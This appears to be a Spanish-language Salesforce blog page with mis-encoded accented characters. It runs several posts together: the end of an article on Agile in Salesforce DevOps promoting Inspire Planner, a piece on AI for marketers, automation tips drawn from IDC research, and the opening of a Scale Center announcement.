  • Promover una cultura colaborativa

    Fomente la comunicaci贸n abierta, la retroalimentaci贸n frecuente y la colaboraci贸n activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que tambi茅n pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea r谩pido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones peri贸dicas de preparaci贸n del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Est茅 preparado para incorporar cambios en el pr贸ximo sprint (en Scrum) o cuando el l铆mite WIP lo permita (en Kanban).
  • Realice retrospectivas : despu茅s de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qu茅 funcion贸 bien, qu茅 no y c贸mo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que est谩n espec铆ficamente dise帽adas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente 煤til si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta 谩gil de gesti贸n de proyectos para SalesforceInspire Planner: herramienta 谩gil de gesti贸n de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporaci贸n de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementaci贸n y ejecuci贸n sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensi贸n clara de los principios y pr谩cticas involucrados. Es vital asegurarse de que su equipo reciba la capacitaci贸n adecuada antes de la implementaci贸n.
  • Descuidar la comunicaci贸n : la comunicaci贸n regular y clara es crucial en las metodolog铆as 谩giles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer m谩s trabajo en menos tiempo. Se trata de administrar el trabajo de manera m谩s efectiva. Aseg煤rese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el l铆mite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar r谩pidamente, los equipos pueden comprometer la calidad. Incorpore pr谩cticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas peri贸dicas para identificar y abordar 谩reas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodolog铆as 谩giles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodolog铆as sean menos efectivas. Supere esto a trav茅s de capacitaci贸n, comunicaci贸n abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transici贸n.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusi贸n e ineficiencia. Busque una aplicaci贸n de gesti贸n de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporaci贸n y formaci贸n.
  • Falta de participaci贸n de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodolog铆as 谩giles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodolog铆as 谩giles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarroll贸 Jira como una herramienta vers谩til compatible con Scrum, Kanban y metodolog铆as mixtas. Sus s贸lidas funciones incluyen la priorizaci贸n de tareas pendientes, la planificaci贸n de sprints, los gr谩ficos de avance y reducci贸n, los flujos de trabajo personalizados y m谩s. Sin embargo, para integrar Jira con Salesforce, deber谩 configurar una soluci贸n de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicaci贸n de gesti贸n de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodolog铆as Scrum y Kanban listas para usar. Inspire Planner tiene m谩s de 130 rese帽as de 5 estrellas en AppExchange e incluye todas las funciones est谩ndar, como trabajos pendientes, sprints, puntos de la historia, gr谩ficos de trabajo pendiente y m谩s.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integraci贸n perfecta con Salesforce, sino que tambi茅n le permite personalizar completamente la aplicaci贸n para agilizar su proceso de gesti贸n de proyectos.

驴Y si necesita la gesti贸n de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner tambi茅n ofrece funciones avanzadas de gesti贸n de proyectos para esta metodolog铆a, incluido un gr谩fico de Gantt interactivo, gesti贸n de recursos, seguimiento del tiempo, carteras, gesti贸n de riesgos, l铆neas base, dependencias de tareas avanzadas, ruta cr铆tica, uso compartido externo, gesti贸n de restricciones, automatizaci贸n. , y mucho m谩s.

Trello

Trello es un sistema f谩cil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

Aunque no tiene el nivel de personalizaci贸n o las funciones de generaci贸n de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opci贸n atractiva para equipos m谩s peque帽os o proyectos simples.

Una mirada m谩s cercana a Inspire Planner

Inspire Planner est谩 dise帽ado para ser una soluci贸n de gesti贸n de proyectos Agile integral pero f谩cil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gesti贸n 谩gil de proyectos en SalesforceInspire Planner Gesti贸n 谩gil de proyectos en Salesforce

Aqu铆 hay algunas razones por las que Inspire Planner podr铆a ser una buena opci贸n para su equipo:

  • Soporte 谩gil completo : Inspire Planner es compatible con las metodolog铆as Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar f谩cilmente la acumulaci贸n de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gr谩ficos de evoluci贸n.
  • Integraci贸n perfecta con Salesforce : dado que Inspire Planner vive dentro de su organizaci贸n de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicaci贸n de datos y conecta sus datos de Salesforce con sus flujos de trabajo 谩giles.
  • Colaboraci贸n : Aprovecha Chatter de Salesforce para la comunicaci贸n, fomentando la colaboraci贸n dentro del equipo. Tambi茅n puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore r谩pidamente nuevos equipos e impulse la adopci贸n a trav茅s de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones est谩ndar como Tareas de Salesforce, Chatter, Informes y Paneles, y m谩s.

Elegir la herramienta adecuada para sus necesidades y el tama帽o de su equipo

Elegir la herramienta adecuada depende del tama帽o de su equipo, la complejidad del proyecto y la metodolog铆a Agile que siga. Aqu铆 hay algunas pautas:

  • Tama帽o del equipo y complejidad del proyecto : para equipos peque帽os o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta m谩s robusta como Jira o Inspire Planner podr铆a ser m谩s adecuada para equipos m谩s grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y m谩s.
  • Integraci贸n de Salesforce : si su organizaci贸n utiliza mucho Salesforce, una aplicaci贸n nativa de Salesforce como Inspire Planner podr铆a ser la mejor opci贸n para una integraci贸n perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitaci贸n de Salesforce para comenzar.
  • Metodolog铆a 谩gil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podr铆an ser preferibles. Para Kanban, las tres herramientas podr铆an satisfacer sus necesidades. Para una combinaci贸n de metodolog铆as Agile y Waterfall, Inspire Planner ser铆a la mejor opci贸n.
  • Presupuesto : El costo podr铆a ser otro factor decisivo. Trello suele ser m谩s rentable para equipos peque帽os, mientras que Jira e Inspire Planner ofrecen funciones m谩s avanzadas a un costo mayor.

Conclusi贸n

La incorporaci贸n de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboraci贸n en equipo, la satisfacci贸n del cliente, la eficiencia y la gesti贸n de riesgos. El 茅nfasis en el desarrollo iterativo y la garant铆a de calidad garantiza est谩ndares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el coraz贸n de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aqu铆 hay algunas ideas procesables:

  • Comprom茅tase con el aprendizaje continuo : anime a su equipo a aprender de cada iteraci贸n y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la 煤nica constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboraci贸n : promover una cultura de comunicaci贸n abierta y colaboraci贸n. Esto puede conducir a soluciones m谩s innovadoras y a un equipo m谩s fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicaci贸n.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodolog铆as 谩giles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacci贸n del cliente.

Continue reading

9 formas en que la IA puede ahorrar tiempo, dinero y sufrimiento a los especialistas en marketing

9 formas en que la IA puede ahorrar tiempo, dinero y sufrimiento a los especialistas en marketing

驴Tiene una lista de tareas pendientes de tareas molestas que persisten sobre usted? Estamos hablando de los que se deben hacer para ejecutar una campa帽a: recopilar y analizar datos, crear l铆neas de asunto de correo electr贸nico atractivas, determinar la audiencia adecuada a la que apuntar y mucho m谩s. Estas tareas pueden robarle su tiempo, y tal vez incluso su cordura. Pero ahora hay una manera de reducir ese trabajo pesado, ayud谩ndolo a concentrarse en el 茅xito de la campa帽a . Perm铆tanos presentarle su nuevo asistente digital: AI.

A medida que las marcas buscan formas de acercarse a los consumidores, m谩s de la mitad de los especialistas en marketing (62 %) afirman haber invertido en el poder de la IA. Nuestra encuesta State of Marketing m谩s reciente encontr贸 que tres de los cuatro principales casos de uso de IA est谩n relacionados con la automatizaci贸n, lo que destaca la importancia de aumentar la velocidad y la eficacia.

Echemos un vistazo a 9 formas en que el uso de la IA como asistente digital puede aumentar la eficacia y la eficiencia de sus campa帽as. Es hora de decir adi贸s a las tareas de campa帽a manuales redundantes que los especialistas en marketing desear铆an no tener que hacer, y deje que la IA lo ayude a aprovechar al m谩ximo su tiempo.

1. Tome mejores decisiones con an谩lisis e informaci贸n de datos automatizados

AI puede analizar grandes vol煤menes de datos de campa帽a, incluido el comportamiento del cliente, las m茅tricas de rendimiento de la campa帽a y las tendencias del mercado. Puede identificar patrones, extraer informaci贸n, detectar correlaciones y proporcionar recomendaciones pr谩cticas para mejorar las estrategias y la orientaci贸n de la campa帽a.

Obtendr谩 una comprensi贸n m谩s profunda de los clientes y el rendimiento de la campa帽a, lo que le permitir谩 tomar decisiones informadas y encontrar el 茅xito m谩s r谩pido.

2. Aumente el compromiso y las conversiones con la segmentaci贸n de la audiencia

Despu茅s de analizar los datos del cliente , su asistente digital de IA puede segmentar las audiencias seg煤n la demograf铆a, el comportamiento, las preferencias, el historial de compras y otros atributos importantes. AI elimina el esfuerzo manual requerido para segmentar audiencias y se dirige a clientes espec铆ficos con ofertas m谩s relevantes.

Cuando pueda personalizar los mensajes para diferentes segmentos, ver谩 que las campa帽as tienen m谩s 茅xito.

3. Antic铆pese a las necesidades de sus clientes con an谩lisis predictivos

Los modelos predictivos de IA utilizan datos hist贸ricos para pronosticar el comportamiento del cliente, como la probabilidad de convertir, abandonar o interactuar con elementos espec铆ficos de la campa帽a.

Esto lo ayuda a mantenerse un paso adelante para abordar de manera proactiva las necesidades de los clientes y presupuestar los recursos de manera efectiva.

4. Ahorre tiempo con la generaci贸n y optimizaci贸n de contenido

Crear contenido 煤nico con frecuencia puede ser una de las tareas que consume m谩s tiempo para muchos especialistas en marketing, pero un asistente digital de IA puede ayudar. La IA, impulsada por el procesamiento del lenguaje natural (NLP, por sus siglas en ingl茅s), puede generar contenido, como textos de anuncios, l铆neas de asunto de correos electr贸nicos y publicaciones en redes sociales, que resuena con sus clientes .

Puede proporcionar los toques finales para asegurarse de que el contenido est茅 en su voz y tono. Tambi茅n puede optimizar su contenido mediante el an谩lisis de datos de rendimiento, la identificaci贸n de elementos de alto rendimiento y la sugerencia de mejoras.

5. Optimice los flujos de trabajo con la automatizaci贸n de campa帽as

La IA puede automatizar varios aspectos de la ejecuci贸n de la campa帽a, como la programaci贸n y la implementaci贸n de anuncios, el env铆o de correos electr贸nicos dirigidos o la gesti贸n de publicaciones en las redes sociales. Esto reduce el esfuerzo manual y garantiza que su campa帽a se ejecute a tiempo.

驴Qu茅 puedes hacer con el tiempo liberado gracias a la IA? Conc茅ntrese en la estrategia y las ideas innovadoras, ayud谩ndole a construir mejores relaciones con los clientes.

Mu茅vete m谩s r谩pido con IA

Centrarse en la innovaci贸n, no en tareas repetitivas. Vea c贸mo la IA generativa est谩 transformando el marketing.

6. Muestre claramente el 茅xito de la campa帽a con seguimiento e informes de rendimiento

Seg煤n nuestro informe State of Marketing , el 72 % de los especialistas en marketing de alto rendimiento pueden analizar datos en tiempo real, lo que les otorga una ventaja a la hora de responder y optimizar el rendimiento de la campa帽a.

Su asistente digital de IA puede automatizar el seguimiento y la generaci贸n de informes de las m茅tricas de rendimiento de la campa帽a, de formas que cualquiera puede entender. La IA puede generar paneles en tiempo real e informes personalizados agradables a la vista, lo que le brinda a usted y a sus partes interesadas una visi贸n clara del rendimiento de la campa帽a y las m茅tricas clave, sin la necesidad de hacerlo todo a mano.

Esto lo ayuda a tomar decisiones basadas en datos, optimizar campa帽as sobre la marcha y demostrar el valor de sus esfuerzos a las partes interesadas.

7. Vea qu茅 funciona mejor con las pruebas A/B

AI puede realizar pruebas A/B en elementos de campa帽a, como variaciones de anuncios, p谩ginas de destino o dise帽os de correo electr贸nico. Analiza los datos de rendimiento , identifica las variaciones ganadoras y lo ayuda a refinar continuamente sus estrategias.

Unifique su equipo de marketing

Cuando re煤ne todos sus datos de marketing y colabora con sus equipos en una sola plataforma, se mover谩 de manera m谩s eficiente y estar谩 m谩s cerca de sus clientes. Vea c贸mo puede empezar.

8. Aumente los ingresos con la puntuaci贸n y el fomento de clientes potenciales

Con IA, puede automatizar la puntuaci贸n de clientes potenciales mediante el an谩lisis de los datos, el comportamiento y el historial de participaci贸n de los clientes potenciales. Asigna puntajes a los clientes potenciales en funci贸n de su probabilidad de conversi贸n y ofrece contenido personalizado para mover a los clientes potenciales a trav茅s del embudo de ventas.

Con la puntuaci贸n de clientes potenciales de AI, su equipo puede centrarse en los clientes potenciales m谩s prometedores y fomentar las relaciones a gran escala.

9. Mejora la comunicaci贸n con herramientas de colaboraci贸n interna

AI brilla como su asistente digital cuando maneja las necesidades de colaboraci贸n interna. Puede utilizar esta tecnolog铆a para automatizar la mensajer铆a en su departamento, as铆 como la gesti贸n de proyectos, la asignaci贸n de tareas y el uso compartido de archivos. Los equipos pueden incluso aplicar automatizaciones de flujo de trabajo que programen reuniones, env铆en recordatorios u organicen archivos, ocup谩ndose de los peque帽os detalles para que pueda concentrarse en el 茅xito de la campa帽a .

La IA est谩 transformando la gesti贸n de campa帽as al permitir que los equipos automaticen tareas manuales, liberando a los especialistas en marketing para trabajar en ideas m谩s generales. Con AI como su aliado, puede optimizar sus campa帽as, ver mejores resultados y comenzar a enfocarse en sus pr贸ximos 茅xitos.

Vea lo que la IA puede hacer

Aprenda c贸mo la IA puede ayudarlo a moverse de manera m谩s eficiente y crear relaciones significativas con los clientes.

Continue reading

5 consejos para incorporar la automatizaci贸n en su negocio

5 consejos para incorporar la automatizaci贸n en su negocio

Seamos realistas: el trabajo mundano y repetitivo puede ser un lastre. De hecho, el 77 % de los trabajadores de escritorio dicen que la automatizaci贸n de las tareas rutinarias mejorar铆a su productividad. Sin embargo, el 52% de las empresas todav铆a tienen demasiados procesos y tareas manuales. La automatizaci贸n empresarial puede ser la clave para cerrar esta brecha.

La automatizaci贸n empresarial conduce a clientes leales , empleados m谩s felices, mejor eficiencia y ahorro de costos. 驴Y qu茅 mejor manera de trazar un camino hacia la automatizaci贸n empresarial que aprender de aquellos que ya lo han hecho? 驴No est谩 seguro de por d贸nde empezar con la automatizaci贸n? Esto ayudar谩 .

En un informe para Salesforce , IDC entrevist贸 a m谩s de 1600 l铆deres empresariales y de TI, en varias industrias en Asia, Europa, Am茅rica del Norte y Am茅rica del Sur, sobre c贸mo han tenido 茅xito con la automatizaci贸n en sus empresas. A partir de esta investigaci贸n de IDC, aqu铆 hay cinco consejos que puede usar para ayudar a incorporar la automatizaci贸n en su propia pr谩ctica.

Acelere la automatizaci贸n como los profesionales

Escuche a m谩s de 1600 l铆deres empresariales y de TI de todo el mundo sobre las tendencias de automatizaci贸n y lo que pueden hacer por su empresa.

Tabla de contenido

Sugerencia 1: Genera impulso en un 谩rea y luego expande a toda la empresa
Consejo 2: Cree un centro de automatizaci贸n de excelencia
Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados
Consejo 4: utilice un enfoque 谩gil para la automatizaci贸n empresarial
Sugerencia 5: use c贸digo bajo para acelerar el tiempo de comercializaci贸n

Sugerencia 1: Genera impulso en un 谩rea y luego expande a toda la empresa

Los mejores procesos candidatos tienen pasos repetitivos, un alto volumen de tareas y datos de m煤ltiples sistemas. Elegir un proceso maduro que haya sido probado y ajustado con el tiempo es su mejor apuesta. Si un proceso cambia con frecuencia o implica un an谩lisis cualitativo, probablemente no sea un buen candidato para la automatizaci贸n. Estos son los pasos para ayudarlo a comenzar.

1. Investiga

Para empezar, deber谩 determinar:

  • Qu茅 proceso quieres transformar
  • Cu谩nto se tarda
  • Personas y departamentos involucrados
  • Sistemas y datos que posibilitan el proceso

2. Cuantificar los costos

Sume los costos del proceso que desea automatizar en todos los departamentos involucrados o afectados. Algunas cosas para pensar en este paso:

  • 驴Cu谩nto m谩s le cuestan las ineficiencias en tiempo extra del personal?
  • 驴Est谩 pagando por env铆os acelerados?
  • 驴Est谩 contabilizando las horas extra de los contratistas?
  • 驴Existen costes negativos en la experiencia del cliente?

3. Definir el estado deseado

Para definir su estado deseado, deber谩 ingresar a los detalles de su proceso automatizado. Aqu铆 hay algunas preguntas para hacer:

  • 驴C贸mo ser谩 su nuevo proceso?
  • 驴Qui茅n deber铆a estar involucrado?
  • 驴Cu谩nto tiempo debe tomar el proceso automatizado?

Recuerde incorporar los comentarios de los clientes en este paso.

4. Elige las herramientas adecuadas

Al elegir herramientas de automatizaci贸n empresarial, es importante seleccionar proveedores con una reputaci贸n estelar en procesos comerciales y automatizaci贸n de flujos de trabajo, que tambi茅n pueden actuar como sus asesores comerciales de confianza. Algunas preguntas para empezar a rodar:

  • 驴Qu茅 dicen los clientes (o clientes descontentos) sobre las herramientas?
  • 驴Tiene las caracter铆sticas que su equipo necesita para tener 茅xito?
  • 驴Ofrece incorporaci贸n y atenci贸n al cliente durante toda la vida 煤til del servicio?

SUGERENCIA PROFESIONAL: aseg煤rese de que la herramienta integre sus datos existentes y automatice los procesos con clics en lugar de una codificaci贸n extensa.

5. Probar, implementar, evaluar

Ahora que ha seleccionado una herramienta y automatizado su proceso, est谩 listo para comenzar. Por supuesto, deber谩 probar su nuevo proceso antes de implementarlo. As铆 es como descubrir谩 si necesita refinarlo o modificarlo.

Finalmente, haga un balance de las mejoras en las medidas clave. Considere estas preguntas:

  • 驴Cu谩nto tardan los usuarios en completar los flujos de trabajo automatizados?
  • 驴La experiencia del usuario o del cliente est谩 a la altura de sus expectativas?
  • 驴Sigue siendo el costo un problema?

Consejo 2: Cree un centro de automatizaci贸n de excelencia

Un centro de excelencia de automatizaci贸n (COE) puede marcar la diferencia en su viaje hacia la transformaci贸n digital . El objetivo del COE es supervisar el desarrollo y el lanzamiento de sus esfuerzos de automatizaci贸n . Invite a personas clave de TI y del negocio para ayudar a tomar las mejores decisiones para el futuro.

As铆 es como puede configurar su COE de automatizaci贸n para el 茅xito:

  1. Elige el equipo adecuado. Seleccione a las partes interesadas que adopten el cambio y est茅n listas para defender las mejoras del proceso. Aseg煤rese de incluir un director de proyecto y al menos un patrocinador ejecutivo.
  2. Desarrollar un marco de automatizaci贸n. Para optimizar su inversi贸n en automatizaci贸n, el COE debe establecer un marco para personas, procesos, sistemas e infraestructura.
  3. Defina una hoja de ruta de automatizaci贸n. La automatizaci贸n empresarial no es un evento singular. Cree una hoja de ruta de automatizaci贸n, un plan de alto nivel que describa los pasos necesarios para implementar pruebas automatizadas, y obtenga la aprobaci贸n de las partes interesadas clave.
  4. Ejecutar flujos de trabajo de automatizaci贸n . Esta es la parte t谩ctica del trabajo del COE. Identifique los puntos d茅biles, prior铆celos y supervise la automatizaci贸n de procesos.
  5. Mide el 茅xito. Establezca indicadores clave de rendimiento (KPI) para medir el impacto en la experiencia de los empleados y los clientes, la eficiencia operativa y la rentabilidad.

Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados

Aunque los recursos de TI de calidad son dif铆ciles de encontrar, la acumulaci贸n de proyectos sigue aumentando. Recientemente descubrimos que a los departamentos de TI se les pide que entreguen un 41 % m谩s en 2023 que en 2022.

La automatizaci贸n de procesos de TI repetitivos alivia al personal de TI sobrecargado de trabajo y lo libera para expandir sus esfuerzos en toda la empresa.

Aqu铆 hay algunos procesos con los que la automatizaci贸n empresarial puede ayudar, para diferentes equipos:

  • Operaciones de TI : monitoreo de sistemas, seguridad de red, implementaci贸n de infraestructura
  • Servicios de TI : soporte al usuario final, aprovisionamiento de software, soporte de software
  • Gesti贸n de activos : aprovisionamiento de activos, desmantelamiento, auditor铆a, informes
  • Gesti贸n de datos : copia de seguridad y redundancia de datos, limpieza de datos

驴Qui茅n debe participar de TI? Esto es lo que dijeron los responsables de la toma de decisiones sobre automatizaci贸n:

  • 72% dijo que los desarrolladores de TI
  • 65% dijo operaciones de TI
  • 49% dijo administradores de aplicaciones
  • 42% dijo integradores de sistemas

La TI juega un papel fundamental para asegurarse de que se implementen la estrategia y la visi贸n del negocio. Trabajando en estrecha colaboraci贸n con TI, pasamos de 6 a 12 meses de nuestro tiempo de comercializaci贸n con nuestros sistemas a solo d铆as con una nueva experiencia de automatizaci贸n.

Director de la divisi贸n de gesti贸n patrimonial,
servicios financieros

Automatizaci贸n: tendencias, desaf铆os y mejores pr谩cticas , IDC

Consejo 4: utilice un enfoque 谩gil para la automatizaci贸n empresarial

El enfoque tradicional de 鈥渃ascada鈥, en el que el an谩lisis, la especificaci贸n, el dise帽o y las pruebas se realizan de forma secuencial, no funciona bien para la automatizaci贸n empresarial. Con el enfoque en cascada, es posible que se encuentre cerca de la implementaci贸n cuando surja un problema grave, como un dise帽o que no se puede escalar.

La metodolog铆a 谩gil enfatiza el trabajo en equipo multifuncional y las pruebas continuas. Y aunque la mayor铆a de los desarrolladores de software la usan, la metodolog铆a 谩gil no es solo para desarrolladores. Su ciclo continuo de planificaci贸n, ejecuci贸n, evaluaci贸n y mejora se puede aplicar a la automatizaci贸n de procesos comerciales. Una de sus mayores ventajas es que re煤ne equipos multifuncionales que planifican, prueban, implementan y redise帽an procesos automatizados en ciclos de liberaci贸n r谩pida.

C贸digo bajo, mucho tiempo de comercializaci贸n

Elija una plataforma de c贸digo bajo que funcione para usted. Nuestra gu铆a lo desglosa todo y describe claramente lo que necesita para comenzar a innovar hoy.

Sugerencia 5: use c贸digo bajo para acelerar el tiempo de comercializaci贸n

驴A qui茅n no le gusta una integraci贸n empresarial y de TI m谩s estrecha? Sin embargo, solo el 56 % de las organizaciones utilizan soluciones de c贸digo bajo , un enfoque de desarrollo que requiere poca o ninguna codificaci贸n para crear aplicaciones y procesos, para potenciar la automatizaci贸n.

El desarrollo de software tradicional es largo y costoso. Con una plataforma de desarrollo de aplicaciones de bajo c贸digo ( LCAP ), los usuarios empresariales y de TI pueden desarrollar aplicaciones y flujos de trabajo automatizados a trav茅s de una interfaz gr谩fica de usuario ( GUI ) amigable. Esto puede marcar la diferencia cuando el personal de TI est谩 sujeto a presiones o restricciones.

Hay una raz贸n m谩s para optar por el c贸digo bajo. Los esfuerzos de automatizaci贸n empresarial abarcan negocios y TI. Usando c贸digo bajo, los usuarios comerciales pueden trabajar en estrecha colaboraci贸n con TI para desarrollar modelos de datos y l贸gica de procesos con solo hacer clic.

Primeros pasos con la automatizaci贸n empresarial

La automatizaci贸n empresarial no tiene por qu茅 ser complicada. Con los consejos que ha aprendido, puede comenzar a implementar flujos de trabajo de automatizaci贸n hoy mismo . Al desarrollar un 谩rea, crear un COE, automatizar para sus equipos de TI y usar un enfoque 谩gil y c贸digo bajo, tiene un comienzo saludable para un proceso de automatizaci贸n empresarial exitoso. Ahora ve a automatizar.

Continue reading

Salesforce Scale Center est谩 generalmente disponible 鈽侊笍

Salesforce Scale Center est谩 generalmente disponible 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Salesforce Scale Center est谩 generalmente disponible | Blog de desarrolladores de Salesforce

Trailblazer.me estar谩 fuera de l铆nea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pac铆fico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podr谩 iniciar sesi贸n en ninguna aplicaci贸n relacionada, incluidas Ayuda y capacitaci贸n, AppExchange, Trailhead y Trailblazer Community, y m谩s.

Estamos encantados de anunciar la disponibilidad general de Scale Center , una potente aplicaci贸n dise帽ada para ayudar a nuestros clientes a optimizar sus implementaciones de Salesforce con informaci贸n mejorada sobre rendimiento y escalabilidad. Scale Center revoluciona la forma en que los equipos abordan el desarrollo, las pruebas y el monitoreo al proporcionar acceso de autoservicio y casi en tiempo real a las m茅tricas de rendimiento de la organizaci贸n y a los conocimientos pr谩cticos.

En esta publicaci贸n, escuchar谩 c贸mo Salesforce Scale Center ayuda a los ingenieros, arquitectos, desarrolladores y administradores de rendimiento a evaluar y resolver de manera proactiva los problemas de rendimiento en sus implementaciones de Salesforce, lo que permite a las empresas escalar con confianza.

La importancia de construir a escala

Escalar de manera eficiente es un aspecto cr铆tico del dise帽o e implementaci贸n de aplicaciones en la plataforma Salesforce. Muchos clientes solo se dan cuenta de los problemas de escalabilidad una vez que los usuarios finales comienzan a informar un rendimiento y usabilidad degradados; en este punto, estos problemas ya han afectado el negocio. Dise帽ar para el futuro y predecir y simular el tr谩fico comercial futuro puede ser un desaf铆o. Si bien algunos errores pueden detectarse durante la fase de dise帽o, la mayor铆a de los errores ocurren solo durante el tiempo de ejecuci贸n en producci贸n y, a veces, se manifiestan durante las cargas m谩ximas.

Salesforce Scale Center proporciona la visibilidad necesaria de las m茅tricas de rendimiento necesarias para aislar los puntos cr铆ticos y la capacidad de profundizar en estos puntos cr铆ticos para el an谩lisis de la causa ra铆z y la gu铆a de remediaci贸n. Con Salesforce Scale Center, ahora puede abordar la escalabilidad de la aplicaci贸n de manera proactiva en lugar de reactivamente, asegurando soluciones m谩s disponibles, receptivas y de rendimiento para su usuario final.

Obtenga una visi贸n completa de sus m茅tricas de rendimiento

Salesforce Scale Center permite a los clientes ver una instant谩nea de las m茅tricas de rendimiento de su organizaci贸n durante un intervalo de tiempo definido. A los clientes se les proporciona un panel 煤nico de visualizaci贸n de errores comunes, incluidos inicios de sesi贸n fallidos, errores de Apex simult谩neos y errores de Rowlock. Adem谩s, los clientes pueden ver las m茅tricas clave visualizadas en un gr谩fico durante la duraci贸n del intervalo de tiempo, incluido el tiempo de solicitud promedio, el tiempo de CPU de la base de datos y los errores totales. Con esta vista, los clientes pueden identificar r谩pidamente puntos cr铆ticos de rendimiento y escala.

Llevar a cabo un an谩lisis profundo de un problema de rendimiento

Caso de uso: optimizaci贸n del rendimiento de la base de datos

Salesforce Scale Center no se detiene simplemente en la visibilidad. Una vez que se observan puntos cr铆ticos, problemas y picos dentro de las m茅tricas de rendimiento, los clientes pueden investigar los componentes y sistemas que est谩n causando el problema.

Echemos un vistazo a nuestro primer caso de uso: optimizar el rendimiento de la base de datos. Imagine un escenario en el que los usuarios finales informen que el proceso de registro de su aplicaci贸n lleva mucho tiempo y falla con frecuencia. A continuaci贸n, explicaremos c贸mo puede abordar este problema utilizando Salesforce Scale Center.

  1. Navegue hasta el gr谩fico de CPU de la base de datos .

2. En el gr谩fico, haga clic y arrastre para resaltar los picos en las m茅tricas de rendimiento.

3. Seleccione el tipo de informe e inicie un an谩lisis de la base de datos.

4. Cambie a la pesta帽a An谩lisis de rendimiento para ver el informe generado.

5. Dentro del informe, puede identificar las principales consultas SOQL por tiempo de CPU de base de datos y procesos DML para solucionar qu茅 acciones espec铆ficas est谩n provocando una mala experiencia del usuario final.

